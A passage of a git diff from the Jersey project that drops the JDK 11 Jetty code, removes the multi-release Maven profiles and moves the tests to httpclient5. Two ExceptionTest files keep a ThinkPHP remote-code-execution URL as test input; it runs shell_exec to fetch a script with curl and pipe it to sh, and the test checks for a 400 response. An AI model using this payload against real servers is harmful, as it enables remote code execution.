-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
-                                      final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param config            the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
-                                      final ResourceConfig config)
-            throws ProcessingException {
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, sslContextFactory, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     */
-    public static Server createServer(final URI uri,
-                                      final SslContextFactory.Server sslContextFactory,
-                                      final JettyHttpContainer handler,
-                                      final boolean start) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
deleted file mode 100644
index 70fcc56..0000000
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-import java.util.concurrent.CompletableFuture;
-
-/**
- * Jersey {@code Server} implementation based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class JettyHttpServer implements WebServer {
-
-    private final JettyHttpContainer container;
-
-    private final org.eclipse.jetty.server.Server httpServer;
-
-    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
-    }
-
-    JettyHttpServer(final Class<? extends Application> applicationClass,
-                    final JerseySeBootstrapConfiguration configuration) {
-        this(new JettyHttpContainer(applicationClass), configuration);
-    }
-
-    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final JettyHttpContainer container() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final int port() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-}
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index 2fb2350..f3109b3 100644
--- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -21,5 +21,4 @@
 unable.to.close.response=Unable to close response output.
 uri.cannot.be.null=The URI must not be null.
 wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 17.
+wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
\ No newline at end of file
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index 7c4c760..3c748ca 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,11 @@
 
 package org.glassfish.jersey.jetty;
 
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
+import org.apache.hc.core5.http.HttpHost;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
+import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
 import org.junit.jupiter.api.Test;
 
 import jakarta.ws.rs.GET;
@@ -57,25 +57,25 @@
         String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
                 + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
                 + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
     public void test400StatusCodeForIllegalHeaderValue() throws IOException {
         startServer(ExceptionResource.class);
         URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri.toString() + "/400");
         request.addHeader("X-Forwarded-Host", "_foo.com");
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
index 526b275..4dde03b 100644
--- a/containers/jetty-http2/pom.xml
+++ b/containers/jetty-http2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http2</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Http2 Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -70,8 +63,28 @@
             </exclusions>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-server</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-server</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents.client5</groupId>
+            <artifactId>httpclient5</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -116,167 +129,4 @@
         </resources>
     </build>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
-                                <testExclude>module-info.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-server</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java17/module-info.java b/containers/jetty-http2/src/main/java/module-info.java
similarity index 100%
rename from containers/jetty-http2/src/main/java17/module-info.java
rename to containers/jetty-http2/src/main/java/module-info.java
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
similarity index 98%
rename from containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
rename to containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
index b03f409..815e6d9 100644
--- a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
index f516357..824e917 100644
--- a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,9 +30,6 @@
 
     @Override
     public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, application));
         }
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
deleted file mode 100644
index cdea00a..0000000
--- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class JettyHttp2ContainerFactory {
-
-    private JettyHttp2ContainerFactory() {
-
-    }
-
-    public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
-                                           final Object parentContext) {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri,
-                                           final SslContextFactory.Server sslContextFactory,
-                                           final JettyHttpContainer handler,
-                                           final boolean start) {
-
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    private static void validateJdk() {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
index ba290bd..f0e6001 100644
--- a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,5 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
+error.when.creating.server=Exception thrown when trying to create jetty server.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
index 60e086b..7238620 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,11 @@
 
 package org.glassfish.jersey.jetty.http2;
 
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
+import org.apache.hc.core5.http.HttpHost;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
+import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
 import org.junit.jupiter.api.Test;
 
 import jakarta.ws.rs.GET;
@@ -57,25 +57,25 @@
         String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
                 + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
                 + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
     public void test400StatusCodeForIllegalHeaderValue() throws IOException {
         startServer(ExceptionResource.class);
         URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri.toString() + "/400");
         request.addHeader("X-Forwarded-Host", "_foo.com");
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index 1042c36..a574869 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-servlet</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Servlet Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -62,6 +55,10 @@
                     <groupId>org.slf4j</groupId>
                     <artifactId>slf4j-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>jakarta.servlet</groupId>
+                    <artifactId>jakarta.servlet-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
         <dependency>
@@ -86,7 +83,7 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jetty.osgi.version},
                             *
                         </Import-Package>
@@ -96,176 +93,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-webapp</artifactId>
-                    <version>${jetty11.version}</version>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.ee10</groupId>
-                    <artifactId>jetty-ee10-webapp</artifactId>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>*</groupId>
-                            <artifactId>*</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                    <version>${jetty11.version}</version>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http</artifactId>
-                    <version>${project.version}</version>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-server</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
